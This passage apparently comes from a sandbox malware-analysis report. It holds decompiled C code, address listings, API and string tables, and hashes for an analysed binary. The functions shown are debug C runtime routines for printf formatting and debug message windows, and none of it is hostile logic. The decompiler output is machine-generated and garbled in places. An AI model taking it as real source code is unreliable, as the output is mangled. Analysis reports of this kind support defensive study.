																__eflags =  *(__ebp - 0x10) & 0x00001000;
																if(( *(__ebp - 0x10) & 0x00001000) == 0) {
																	__edx =  *(__ebp - 0x4a8);
																	__eax =  *(__ebp - 0x4a4);
																	__eax =  *(__ebp - 0x4a4) & 0x00000000;
																	__eflags = __eax;
																	 *(__ebp - 0x4a4) = __eax;
																}
															}
															__eflags =  *(__ebp - 0x30);
															if( *(__ebp - 0x30) >= 0) {
																 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xfffffff7;
																 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xfffffff7;
																__eflags =  *(__ebp - 0x30) - 0x200;
																if( *(__ebp - 0x30) > 0x200) {
																	 *(__ebp - 0x30) = 0x200;
																}
															} else {
																 *(__ebp - 0x30) = 1;
															}
															 *(__ebp - 0x4a8) =  *(__ebp - 0x4a8) |  *(__ebp - 0x4a4);
															__eflags =  *(__ebp - 0x4a8) |  *(__ebp - 0x4a4);
															if(( *(__ebp - 0x4a8) |  *(__ebp - 0x4a4)) == 0) {
																 *(__ebp - 0x1c) = 0;
															}
															__eax = __ebp - 0x249;
															 *(__ebp - 4) = __ebp - 0x249;
															while(1) {
																L178:
																__ecx =  *(__ebp - 0x30);
																 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
																 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
																__eflags =  *(__ebp - 0x30);
																if( *(__ebp - 0x30) > 0) {
																	goto L180;
																}
																L179:
																 *(__ebp - 0x4a8) =  *(__ebp - 0x4a8) |  *(__ebp - 0x4a4);
																__eflags =  *(__ebp - 0x4a8) |  *(__ebp - 0x4a4);
																if(( *(__ebp - 0x4a8) |  *(__ebp - 0x4a4)) == 0) {
																	goto L183;
																}
																L180:
																__eax =  *(__ebp - 8);
																asm("cdq");
																__ecx =  *(__ebp - 0x4a4);
																__edx =  *(__ebp - 0x4a8);
																__eax = E00430830( *(__ebp - 0x4a8),  *(__ebp - 0x4a4),  *(__ebp - 8),  *(__ebp - 0x4a8));
																 *(__ebp - 0x494) = __eax;
																__eax =  *(__ebp - 8);
																asm("cdq");
																__eax =  *(__ebp - 0x4a4);
																__ecx =  *(__ebp - 0x4a8);
																 *(__ebp - 0x4a8) = E004308B0( *(__ebp - 0x4a8),  *(__ebp - 0x4a4),  *(__ebp - 8), __edx);
																 *(__ebp - 0x4a4) = __edx;
																__eflags =  *(__ebp - 0x494) - 0x39;
																if( *(__ebp - 0x494) > 0x39) {
																	__edx =  *(__ebp - 0x494);
																	__edx =  *(__ebp - 0x494) +  *(__ebp - 0x460);
																	__eflags = __edx;
																	 *(__ebp - 0x494) = __edx;
																}
																__eax =  *(__ebp - 4);
																 *( *(__ebp - 4)) =  *(__ebp - 0x494);
																 *(__ebp - 4) =  *(__ebp - 4) - 1;
																 *(__ebp - 4) =  *(__ebp - 4) - 1;
																L178:
																__ecx =  *(__ebp - 0x30);
																 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
																 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
																__eflags =  *(__ebp - 0x30);
																if( *(__ebp - 0x30) > 0) {
																	goto L180;
																}
																goto L179;
															}
														}
														L165:
														__eflags =  *(__ebp - 0x4a0);
														if( *(__ebp - 0x4a0) >= 0) {
															goto L167;
														}
														goto L166;
													}
												case 0xe:
													while(1) {
														L187:
														if( *(_t600 - 0x28) != 0) {
															goto L212;
														}
														goto L188;
													}
											}
										case 8:
											L24:
											__ecx =  *(__ebp - 0x10);
											__ecx =  *(__ebp - 0x10) | 0x00000002;
											 *(__ebp - 0x10) = __ecx;
											goto L27;
										case 9:
											L25:
											 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000080;
											 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000080;
											goto L27;
										case 0xa:
											L23:
											 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000001;
											 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000001;
											goto L27;
										case 0xb:
											L22:
											 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
											 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
											goto L27;
										case 0xc:
											L26:
											__eax =  *(__ebp - 0x10);
											__eax =  *(__ebp - 0x10) | 0x00000008;
											__eflags = __eax;
											 *(__ebp - 0x10) = __eax;
											goto L27;
										case 0xd:
											L27:
											goto L214;
									}
								} else {
									_t574 = 0;
									if(0 == 0) {
										 *(_t600 - 0x4dc) = 0;
									} else {
										 *(_t600 - 0x4dc) = 1;
									}
									 *(_t600 - 0x46c) =  *(_t600 - 0x4dc);
									if( *(_t600 - 0x46c) == 0) {
										_push(L"(\"Incorrect format specifier\", 0)");
										_push(0);
										_push(0x460);
										_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
										_push(2);
										_t501 = L0041E420();
										_t603 = _t603 + 0x14;
										if(_t501 == 1) {
											asm("int3");
										}
									}
									L14:
									if( *(_t600 - 0x46c) != 0) {
										goto L16;
									} else {
										 *((intOrPtr*)(L00422F10(_t546))) = 0x16;
										E00422CA0(_t534, _t546, _t598, _t599, L"(\"Incorrect format specifier\", 0)", L"_woutput_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x460, 0);
										 *(_t600 - 0x4c8) = 0xffffffff;
										E0041AEC0(_t600 - 0x40);
										_t486 =  *(_t600 - 0x4c8);
										goto L225;
									}
								}
							}
							L215:
							if( *(_t600 - 0x45c) == 0) {
								L218:
								 *(_t600 - 0x4f8) = 1;
								L219:
								_t574 =  *(_t600 - 0x4f8);
								 *(_t600 - 0x4bc) =  *(_t600 - 0x4f8);
								if( *(_t600 - 0x4bc) == 0) {
									_push(L"((state == ST_NORMAL) || (state == ST_TYPE))");
									_push(0);
									_push(0x8f5);
									_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
									_push(2);
									_t491 = L0041E420();
									_t603 = _t603 + 0x14;
									if(_t491 == 1) {
										asm("int3");
									}
								}
								if( *(_t600 - 0x4bc) != 0) {
									 *(_t600 - 0x4d4) =  *(_t600 - 0x44c);
									E0041AEC0(_t600 - 0x40);
									_t486 =  *(_t600 - 0x4d4);
								} else {
									 *((intOrPtr*)(L00422F10(_t538))) = 0x16;
									E00422CA0(_t534, _t538, _t598, _t599, L"((state == ST_NORMAL) || (state == ST_TYPE))", L"_woutput_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x8f5, 0);
									 *(_t600 - 0x4d0) = 0xffffffff;
									E0041AEC0(_t600 - 0x40);
									_t486 =  *(_t600 - 0x4d0);
								}
								goto L225;
							}
							L216:
							if( *(_t600 - 0x45c) == 7) {
								goto L218;
							}
							L217:
							 *(_t600 - 0x4f8) = 0;
							goto L219;
						}
					} else {
						L113:
						 *((intOrPtr*)(L00422F10(__ecx))) = 0x16;
						__eax = E00422CA0(__ebx, __ecx, __edi, __esi, L"(\"\'n\' format specifier disabled\", 0)", L"_woutput_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x695, 0);
						 *(__ebp - 0x4cc) = 0xffffffff;
						__ecx = __ebp - 0x40;
						__eax = E0041AEC0(__ecx);
						__eax =  *(__ebp - 0x4cc);
						L225:
						return E0042BD60(_t486, _t534,  *(_t600 - 0x48) ^ _t600, _t574, _t598, _t599);
					}
					L115:
					if(( *(_t600 - 0x10) & 0x00000020) == 0) {
						 *( *(_t600 - 0x484)) =  *(_t600 - 0x44c);
					} else {
						 *( *(_t600 - 0x484)) =  *(_t600 - 0x44c);
					}
					 *(_t600 - 0x28) = 1;
					goto L187;
				}
			}

0x0043c19a
0x0043c19a
0x0043c19a
0x0043c19a
0x0043c19a
0x0043c19a
0x0043c19e
0x0043c1a3
0x0043c1a6
0x0043c1b3
0x00000000
0x00000000
0x0043c1b9
0x0043c1b9
0x0043c1bb
0x0043c1c9
0x0043c1bd
0x0043c1bd
0x0043c1bd
0x0043c1d3
0x0043c1d9
0x0043c1e6
0x0043c1e8
0x0043c1ed
0x0043c1ef
0x0043c1f4
0x0043c1f9
0x0043c1fb
0x0043c200
0x0043c206
0x0043c208
0x0043c208
0x0043c206
0x0043c210
0x0043c258
0x0043c750
0x0043c750
0x0043c754
0x00000000
0x00000000
0x0043c75a
0x0043c760
0x0043c76a
0x0043c784
0x0043c79e
0x0043c7a5
0x0043c7a9
0x0043c7a9
0x0043c786
0x0043c78b
0x0043c78f
0x0043c78f
0x0043c76c
0x0043c771
0x0043c775
0x0043c775
0x0043c76a
0x0043c7b9
0x0043c7c5
0x0043c7db
0x0043c7e0
0x0043c7e0
0x0043c7f6
0x0043c7fb
0x0043c804
0x0043c80c
0x0043c822
0x0043c827
0x0043c827
0x0043c80c
0x0043c82e
0x0043c8e8
0x0043c8fb
0x0043c900
0x00000000
0x0043c834
0x0043c834
0x0043c838
0x00000000
0x00000000
0x0043c83e
0x0043c841
0x0043c84a
0x0043c850
0x0043c850
0x0043c85f
0x0043c867
0x00000000
0x00000000
0x0043c869
0x0043c86c
0x0043c891
0x0043c896
0x0043c899
0x0043c8a6
0x0043c8b4
0x0043c8c7
0x0043c8cc
0x0043c8db
0x00000000
0x0043c8db
0x0043c8a8
0x0043c8a8
0x00000000
0x0043c8a8
0x0043c8e6
0x0043c903
0x0043c90a
0x0043c912
0x0043c928
0x0043c92d
0x0043c92d
0x0043c912
0x0043c90a
0x0043c930
0x0043c934
0x0043c93c
0x0043c941
0x0043c944
0x0043c944
0x0043c94b
0x0043c94b
0x0043bacb
0x0043bad2
0x0043badf
0x0043bae4
0x00000000
0x0043baf7
0x0043bb01
0x0043bb28
0x0043bb0f
0x0043bb20
0x0043bb20
0x0043bb01
0x0043bb32
0x0043bb38
0x0043bb44
0x0043bb47
0x0043bb55
0x0043bb58
0x0043bb65
0x0043bc0a
0x0043bc10
0x0043bc1d
0x00000000
0x00000000
0x0043bc23
0x0043bc29
0x00000000
0x0043bc30
0x0043bc30
0x0043bc4a
0x0043bc4f
0x00000000
0x00000000
0x0043bc57
0x0043bc57
0x0043bc5e
0x0043bc61
0x0043bc64
0x0043bc67
0x0043bc6a
0x0043bc6d
0x0043bc70
0x0043bc77
0x0043bc7e
0x00000000
0x00000000
0x0043bc8a
0x0043bc8a
0x0043bc91
0x0043bc9d
0x0043bca0
0x0043bca6
0x0043bcad
0x00000000
0x00000000
0x0043bcaf
0x0043bcb5
0x0043bcb5
0x0043bcbc
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x0043bd00
0x0043bd00
0x0043bd07
0x0043bd0a
0x0043bd34
0x0043bd37
0x0043bd37
0x0043bd41
0x0043bd41
0x0043bd45
0x0043bd0c
0x0043bd0c
0x0043bd18
0x0043bd1b
0x0043bd1f
0x0043bd21
0x0043bd24
0x0043bd24
0x0043bd27
0x0043bd2a
0x0043bd2d
0x0043bd2f
0x0043bd2f
0x0043bd32
0x0043bd48
0x00000000
0x00000000
0x0043bd4d
0x0043bd4d
0x00000000
0x00000000
0x0043bd59
0x0043bd59
0x0043bd60
0x0043bd63
0x0043bd83
0x0043bd86
0x0043bd86
0x0043bd90
0x0043bd90
0x0043bd94
0x0043bd65
0x0043bd65
0x0043bd71
0x0043bd74
0x0043bd78
0x0043bd7a
0x0043bd7a
0x0043bd81
0x00000000
0x00000000
0x0043bd9c
0x0043bd9c
0x0043bda3
0x0043bdaf
0x0043bdb2
0x0043bdb8
0x0043bdbf
0x0043bed2
0x00000000
0x0043bed2
0x0043bdc5
0x0043bdcb
0x0043bdcb
0x0043bdd2
0x00000000
0x0043be09
0x0043be09
0x0043be0c
0x0043be0f
0x0043be12
0x0043be39
0x0043be39
0x0043be3c
0x0043be3f
0x0043be42
0x0043be66
0x0043be66
0x0043be69
0x0043be6c
0x0043be6f
0x0043bea8
0x0043beb9
0x00000000
0x0043beb9
0x0043be71
0x0043be71
0x0043be74
0x0043be77
0x0043be7a
0x00000000
0x00000000
0x0043be7c
0x0043be7c
0x0043be7f
0x0043be82
0x0043be85
0x00000000
0x00000000
0x0043be87
0x0043be87
0x0043be8a
0x0043be8d
0x0043be90
0x00000000
0x00000000
0x0043be92
0x0043be92
0x0043be95
0x0043be98
0x0043be9b
0x00000000
0x00000000
0x0043be9d
0x0043be9d
0x0043bea0
0x0043bea3
0x0043bea6
0x0043beaa
0x00000000
0x0043beaa
0x00000000
0x0043bea6
0x0043be44
0x0043be44
0x0043be47
0x0043be4b
0x0043be4e
0x00000000
0x0043be50
0x0043be53
0x0043be56
0x0043be5c
0x0043be61
0x00000000
0x0043be61
0x0043be4e
0x0043be14
0x0043be14
0x0043be17
0x0043be1b
0x0043be1e
0x00000000
0x0043be20
0x0043be23
0x0043be26
0x0043be2c
0x0043be31
0x00000000
0x0043be31
0x00000000
0x0043bebb
0x0043bebb
0x0043bebe
0x0043bec1
0x00000000
0x00000000
0x0043bdd9
0x0043bdd9
0x0043bddc
0x0043bddf
0x0043bde2
0x0043bdfb
0x0043bdfe
0x0043bdfe
0x0043be01
0x0043bde4
0x0043bde4
0x0043bde7
0x0043bdea
0x0043bdf0
0x0043bdf6
0x0043bdf6
0x00000000
0x00000000
0x0043bec6
0x0043bec6
0x0043bec9
0x0043bec9
0x0043becf
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x0043bed7
0x0043bed7
0x0043bede
0x0043bee4
0x0043beea
0x0043beed
0x0043bef3
0x0043befa
0x00000000
0x0043c750
0x0043c750
0x0043c750
0x0043c750
0x0043c754
0x00000000
0x00000000
0x00000000
0x0043c754
0x0043c707
0x0043c70d
0x0043c710
0x0043c713
0x0043c716
0x0043c719
0x0043c71f
0x0043c71f
0x0043c71f
0x0043c727
0x0043c72b
0x00000000
0x00000000
0x0043c72d
0x0043c72d
0x0043c730
0x0043c733
0x0043c733
0x0043c738
0x0043c73b
0x0043c73e
0x0043c741
0x0043c744
0x0043c747
0x0043c74a
0x0043c74a
0x0043c74d
0x0043c750
0x0043c750
0x0043c754
0x00000000
0x00000000
0x00000000
0x0043c754
0x0043c750
0x0043bf00
0x0043bf06
0x0043bf06
0x0043bf0d
0x00000000
0x0043c291
0x0043c291
0x0043c29f
0x0043c29f
0x0043c2a2
0x00000000
0x00000000
0x0043bf14
0x0043bf17
0x0043bf17
0x0043bf1d
0x0043bf1f
0x0043bf22
0x0043bf22
0x0043bf25
0x0043bf25
0x00000000
0x00000000
0x0043c05a
0x0043c05d
0x0043c05d
0x0043c062
0x0043c064
0x0043c067
0x0043c067
0x0043c06a
0x0043c06a
0x00000000
0x00000000
0x0043c45d
0x0043c45d
0x00000000
0x00000000
0x0043bfc4
0x0043bfc4
0x0043bfd0
0x0043bfd6
0x0043bfdd
0x0043bfeb
0x0043bfeb
0x0043bff1
0x0043bff4
0x0043c000
0x0043c055
0x00000000
0x0043c055
0x0043bfdf
0x0043bfdf
0x0043bfe5
0x0043bfe9
0x0043c008
0x0043c008
0x0043c00e
0x0043c036
0x0043c03d
0x0043c043
0x0043c046
0x0043c049
0x0043c04f
0x0043c052
0x0043c010
0x0043c010
0x0043c016
0x0043c019
0x0043c01c
0x0043c022
0x0043c025
0x0043c028
0x0043c02a
0x0043c02d
0x0043c02d
0x00000000
0x0043c00e
0x00000000
0x00000000
0x0043c2a9
0x0043c2ac
0x0043c2af
0x0043c2b2
0x0043c2b8
0x0043c2bb
0x0043c2c2
0x0043c2c6
0x0043c2d1
0x0043c2d1
0x0043c2d5
0x0043c2ec
0x0043c2ec
0x0043c2f3
0x0043c2f5
0x0043c2f5
0x0043c2fc
0x0043c2fc
0x0043c303
0x0043c311
0x0043c314
0x0043c323
0x0043c326
0x0043c32a
0x0043c33f
0x0043c32c
0x0043c32c
0x0043c32f
0x0043c335
0x0043c33a
0x0043c33a
0x0043c32a
0x0043c349
0x0043c34c
0x0043c34f
0x0043c352
0x0043c355
0x0043c358
0x0043c35e
0x0043c364
0x0043c36c
0x0043c36d
0x0043c370
0x0043c371
0x0043c374
0x0043c375
0x0043c37c
0x0043c37d
0x0043c380
0x0043c381
0x0043c384
0x0043c385
0x0043c38b
0x0043c38c
0x0043c39b
0x0043c39d
0x0043c3a3
0x0043c3a3
0x0043c3a8
0x0043c3aa
0x0043c3ae
0x0043c3b0
0x0043c3b8
0x0043c3b9
0x0043c3bc
0x0043c3bd
0x0043c3cc
0x0043c3ce
0x0043c3ce
0x0043c3ae
0x0043c3d1
0x0043c3d8
0x0043c3db
0x0043c3e0
0x0043c3e0
0x0043c3e6
0x0043c3e8
0x0043c3f0
0x0043c3f1
0x0043c3f4
0x0043c3f5
0x0043c403
0x0043c405
0x0043c405
0x0043c3e6
0x0043c408
0x0043c40b
0x0043c40e
0x0043c411
0x0043c416
0x0043c41b
0x0043c41e
0x0043c421
0x0043c421
0x0043c424
0x0043c424
0x0043c427
0x0043c433
0x0043c750
0x0043c750
0x0043c754
0x00000000
0x00000000
0x00000000
0x0043c754
0x00000000
0x0043c750
0x0043c2d7
0x0043c2d7
0x0043c2de
0x0043c2e1
0x00000000
0x00000000
0x0043c2e3
0x0043c2e3
0x00000000
0x0043c2e3
0x0043c2c8
0x0043c2c8
0x00000000
0x00000000
0x0043bf28
0x0043bf28
0x0043bf33
0x0043bf3b
0x0043bf42
0x0043bf45
0x0043bf45
0x0043bf48
0x0043bfa8
0x0043bf4a
0x0043bf51
0x0043bf57
0x0043bf5d
0x0043bf64
0x0043bf67
0x0043bf6d
0x0043bf75
0x0043bf77
0x0043bf7e
0x0043bf85
0x0043bf8c
0x0043bf94
0x0043bf96
0x0043bf98
0x0043bf98
0x0043bf9f
0x0043bfaf
0x0043bfb5
0x0043bfb8
0x0043c750
0x0043c750
0x0043c754
0x00000000
0x00000000
0x00000000
0x0043c754
0x00000000
0x0043c43b
0x0043c43e
0x0043c441
0x0043c444
0x00000000
0x00000000
0x00000000
0x00000000
0x0043c4a4
0x0043c4a4
0x0043c4ae
0x0043c4ae
0x0043c4b4
0x0043c4b6
0x0043c4b9
0x0043c4b9
0x0043c4bf
0x0043c4bf
0x00000000
0x00000000
0x0043c456
0x0043c456
0x00000000
0x00000000
0x0043c06d
0x0043c06d
0x0043c071
0x0043c07f
0x0043c082
0x0043c073
0x0043c073
0x0043c073
0x0043c088
0x0043c08e
0x0043c094
0x0043c0a0
0x0043c0a6
0x0043c0a6
0x0043c0a9
0x0043c131
0x0043c131
0x0043c135
0x0043c137
0x0043c13d
0x0043c13d
0x0043c140
0x0043c147
0x0043c14a
0x0043c150
0x0043c150
0x0043c150
0x0043c156
0x0043c15c
0x0043c15f
0x0043c165
0x0043c167
0x00000000
0x00000000
0x0043c169
0x0043c169
0x0043c16f
0x0043c172
0x0043c174
0x00000000
0x00000000
0x0043c176
0x0043c17c
0x0043c17f
0x0043c17f
0x0043c187
0x0043c187
0x0043c18d
0x0043c18d
0x0043c192
0x00000000
0x0043c0af
0x0043c0af
0x0043c0af
0x0043c0b3
0x0043c0b5
0x0043c0ba
0x0043c0ba
0x0043c0bd
0x0043c0c0
0x0043c0c6
0x0043c0d8
0x0043c0d8
0x0043c0d8
0x0043c0db
0x0043c0e1
0x00000000
0x00000000
0x0043c0e3
0x0043c0e3
0x0043c0e9
0x0043c0ec
0x0043c0ee
0x00000000
0x00000000
0x0043c0f0
0x0043c0f0
0x0043c0f9
0x0043c0ff
0x0043c103
0x0043c10b
0x0043c10d
0x0043c10f
0x0043c115
0x0043c115
0x0043c118
0x0043c118
0x0043c124
0x0043c127
0x0043c0cf
0x0043c0d2
0x0043c0d2
0x0043c0d5
0x0043c0d5
0x0043c12f
0x0043c195
0x0043c750
0x0043c750
0x0043c754
0x00000000
0x00000000
0x00000000
0x0043c754
0x0043c750
0x00000000
0x0043c44d
0x0043c44d
0x00000000
0x00000000
0x0043c469
0x0043c469
0x0043c473
0x0043c473
0x0043c47d
0x0043c47d
0x0043c483
0x0043c485
0x0043c48a
0x0043c494
0x0043c494
0x0043c497
0x0043c49b
0x0043c49b
0x0043c4c2
0x0043c4c5
0x0043c4c5
0x0043c4ca
0x0043c4ec
0x0043c4ec
0x0043c4f2
0x0043c514
0x0043c514
0x0043c517
0x0043c55e
0x0043c55e
0x0043c561
0x0043c57e
0x0043c582
0x0043c58a
0x0043c58a
0x0043c58c
0x0043c592
0x0043c563
0x0043c563
0x0043c567
0x0043c56f
0x0043c570
0x0043c576
0x0043c576
0x0043c519
0x0043c51c
0x0043c51c
0x0043c51f
0x0043c53d
0x0043c549
0x0043c54c
0x0043c54d
0x0043c553
0x0043c521
0x0043c521
0x0043c525
0x0043c52d
0x0043c52e
0x0043c52f
0x0043c535
0x0043c535
0x0043c559
0x0043c4f4
0x0043c4f4
0x0043c500
0x0043c506
0x0043c506
0x0043c4cc
0x0043c4cc
0x0043c4d8
0x0043c4de
0x0043c4de
0x0043c59b
0x0043c59b
0x0043c59e
0x0043c5e0
0x0043c5e0
0x0043c5e6
0x0043c5ec
0x0043c5f2
0x00000000
0x0043c5a0
0x0043c5a0
0x0043c5a0
0x0043c5a7
0x00000000
0x00000000
0x0043c5a9
0x0043c5a9
0x0043c5b4
0x0043c5ba
0x0043c5bc
0x0043c5c2
0x0043c5c5
0x0043c5c7
0x0043c5cd
0x0043c5d6
0x0043c5db
0x0043c5f8
0x0043c5fb
0x0043c5fb
0x0043c600
0x0043c605
0x0043c605
0x0043c60b
0x0043c60d
0x0043c613
0x0043c619
0x0043c619
0x0043c622
0x0043c622
0x0043c60b
0x0043c628
0x0043c62c
0x0043c63a
0x0043c63d
0x0043c640
0x0043c647
0x0043c649
0x0043c649
0x0043c62e
0x0043c62e
0x0043c62e
0x0043c656
0x0043c656
0x0043c65c
0x0043c65e
0x0043c65e
0x0043c665
0x0043c66b
0x0043c66e
0x0043c66e
0x0043c66e
0x0043c674
0x0043c677
0x0043c67a
0x0043c67c
0x00000000
0x00000000
0x0043c67e
0x0043c684
0x0043c684
0x0043c68a
0x00000000
0x00000000
0x0043c68c
0x0043c68c
0x0043c68f
0x0043c692
0x0043c699
0x0043c6a0
0x0043c6a8
0x0043c6ae
0x0043c6b1
0x0043c6b4
0x0043c6bb
0x0043c6c7
0x0043c6cd
0x0043c6d3
0x0043c6da
0x0043c6dc
0x0043c6e2
0x0043c6e2
0x0043c6e8
0x0043c6e8
0x0043c6ee
0x0043c6f7
0x0043c6fc
0x0043c6ff
0x0043c66e
0x0043c66e
0x0043c674
0x0043c677
0x0043c67a
0x0043c67c
0x00000000
0x00000000
0x00000000
0x0043c67c
0x0043c66e
0x0043c5ab
0x0043c5ab
0x0043c5b2
0x00000000
0x00000000
0x00000000
0x0043c5b2
0x00000000
0x0043c750
0x0043c750
0x0043c754
0x00000000
0x00000000
0x00000000
0x0043c754
0x00000000
0x00000000
0x0043bcd9
0x0043bcd9
0x0043bcdc
0x0043bcdf
0x00000000
0x00000000
0x0043bce4
0x0043bce7
0x0043bced
0x00000000
0x00000000
0x0043bcce
0x0043bcd1
0x0043bcd4
0x00000000
0x00000000
0x0043bcc3
0x0043bcc6
0x0043bcc9
0x00000000
0x00000000
0x0043bcf2
0x0043bcf2
0x0043bcf5
0x0043bcf5
0x0043bcf8
0x00000000
0x00000000
0x0043bcfb
0x00000000
0x00000000
0x0043bb6b
0x0043bb6b
0x0043bb6d
0x0043bb7b
0x0043bb6f
0x0043bb6f
0x0043bb6f
0x0043bb8b
0x0043bb98
0x0043bb9a
0x0043bb9f
0x0043bba1
0x0043bba6
0x0043bbab
0x0043bbad
0x0043bbb2
0x0043bbb8
0x0043bbba
0x0043bbba
0x0043bbb8
0x0043bbbb
0x0043bbc2
0x00000000
0x0043bbc4
0x0043bbc9
0x0043bbe5
0x0043bbed
0x0043bbfa
0x0043bbff
0x00000000
0x0043bbff
0x0043bbc2
0x0043bb65
0x0043c950
0x0043c957
0x0043c96e
0x0043c96e
0x0043c978
0x0043c978
0x0043c97e
0x0043c98b
0x0043c98d
0x0043c992
0x0043c994
0x0043c999
0x0043c99e
0x0043c9a0
0x0043c9a5
0x0043c9ab
0x0043c9ad
0x0043c9ad
0x0043c9ab
0x0043c9b5
0x0043ca00
0x0043ca09
0x0043ca0e
0x0043c9b7
0x0043c9bc
0x0043c9d8
0x0043c9e0
0x0043c9ed
0x0043c9f2
0x0043c9f2
0x00000000
0x0043c9b5
0x0043c959
0x0043c960
0x00000000
0x00000000
0x0043c962
0x0043c962
0x00000000
0x0043c962
0x0043c212
0x0043c212
0x0043c217
0x0043c233
0x0043c23b
0x0043c245
0x0043c248
0x0043c24d
0x0043ca14
0x0043ca21
0x0043ca21
0x0043c25d
0x0043c263
0x0043c283
0x0043c265
0x0043c272
0x0043c272
0x0043c285
0x00000000
0x0043c285

APIs

_get_int_arg.LIBCMTD ref: 0043C19E
__get_printf_count_output.LIBCMTD ref: 0043C1AC
__invalid_parameter.LIBCMTD ref: 0043C233
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 0043C248
_write_multi_char.LIBCMTD ref: 0043C7DB
_write_string.LIBCMTD ref: 0043C7F6
_write_multi_char.LIBCMTD ref: 0043C822
__mbtowc_l.LIBCMTD ref: 0043C891

Strings

f:\dd\vctools\crt_bld\self_x86\crt\src\output.c, xrefs: 0043BBA6, 0043BBD6, 0043C1F4, 0043C224
("'n' format specifier disabled", 0), xrefs: 0043C1E8, 0043C22E
_woutput_s_l, xrefs: 0043BBDB, 0043C229
("Incorrect format specifier", 0), xrefs: 0043BB9A, 0043BBE0

Memory Dump Source

Source File: 00000000.00000002.276727395.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.276724699.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.276752430.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.276760822.000000000055A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.276764145.0000000000560000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_JV4ILFxpDY.jbxd

Similarity

API ID: Locale_write_multi_char$UpdateUpdate::~___get_printf_count_output__invalid_parameter__mbtowc_l_get_int_arg_write_string
String ID: ("'n' format specifier disabled", 0)$("Incorrect format specifier", 0)$_woutput_s_l$f:\dd\vctools\crt_bld\self_x86\crt\src\output.c
API String ID: 2386203720-1989478660
Opcode ID: fd9c668606143fd27d4ce1e06399ca55bd58dba621ef760028682ea5758b1ec3
Instruction ID: 2438478f70f0ea117d67ebb61229c6d47b4bd3e5dd9a1a2ae983465129474d8e
Opcode Fuzzy Hash: fd9c668606143fd27d4ce1e06399ca55bd58dba621ef760028682ea5758b1ec3
Instruction Fuzzy Hash: 30A18CB1D002299BDF24DF55CC85BAEB371AB48305F14509AE6097B282D778AE84CF9D

Uniqueness

Uniqueness Score: -1.00%

Function 00429907, Relevance: 26.4, APIs: 6, Strings: 9, Instructions: 100
windowCOMMON

Download Yara Rule

C-Code - Quality: 59%

			E00429907() {
				intOrPtr _t36;
				intOrPtr* _t37;
				void* _t40;
				void* _t48;
				void* _t62;
				void* _t63;
				signed int _t64;
				void* _t66;
				void* _t67;

				 *(_t64 - 0x114c) = "...";
				if( *((intOrPtr*)(_t64 + 0x14)) == 0) {
					 *(_t64 - 0x1150) = 0x404106;
				} else {
					 *(_t64 - 0x1150) = "\nModule: ";
				}
				_push( *((intOrPtr*)(_t64 - 0x1124)));
				_push( *((intOrPtr*)(_t64 - 0x1128)));
				_push( *((intOrPtr*)(_t64 - 0x112c)));
				_push( *((intOrPtr*)(_t64 - 0x1130)));
				_push( *((intOrPtr*)(_t64 - 0x1134)));
				_push( *((intOrPtr*)(_t64 - 0x1138)));
				_push( *((intOrPtr*)(_t64 - 0x113c)));
				_push( *((intOrPtr*)(_t64 - 0x1140)));
				_push( *((intOrPtr*)(_t64 - 0x1144)));
				_push( *(_t64 - 0x114c));
				_push( *(_t64 - 0x1150));
				_push( *((intOrPtr*)(_t64 - 8)));
				_t61 =  *(_t64 + 8);
				_t53 = _t64 - 0x1010;
				_t36 = E0042BD30(_t64 - 0x1010, _t64 - 0x1010, 0x1000, 0xfff, "Debug %s!\n\nProgram: %s%s%s%s%s%s%s%s%s%s%s%s\n\n(Press Retry to debug the application)",  *((intOrPtr*)( *(_t64 + 8) * 4 + "8R@")));
				_t67 = _t66 + 0x44;
				 *((intOrPtr*)(_t64 - 0xc)) = _t36;
				if( *((intOrPtr*)(_t64 - 0xc)) < 0) {
					_t61 =  *(L00422F10(_t53));
					E0041DAF0( *(L00422F10(_t53)), 0x16, 0x22, L"(*_errno())", L"__crtMessageWindowA", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrpt.c", 0x160, 0);
					_t67 = _t67 + 0x20;
				}
				_t37 = L00422F10(_t53);
				_t54 =  *((intOrPtr*)(_t64 - 0x1120));
				 *_t37 =  *((intOrPtr*)(_t64 - 0x1120));
				if( *((intOrPtr*)(_t64 - 0xc)) < 0) {
					_t61 = _t64 - 0x1010;
					E0041E060(E0041DBE0(_t48, _t54, _t63, _t64 - 0x1010, 0x1000, "_CrtDbgReport: String too long or IO Error"), _t44, L"strcpy_s(szOutMessage, 4096, \"_CrtDbgReport: String too long or IO Error\")", L"__crtMessageWindowA", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrpt.c", 0x165, 0);
					_t67 = _t67 + 0x24;
				}
				 *((intOrPtr*)(_t64 - 0x111c)) = E00435950(_t64 - 0x1010, "Microsoft Visual C++ Debug Library", 0x12012);
				if( *((intOrPtr*)(_t64 - 0x111c)) == 3) {
					E0042D490(0x16);
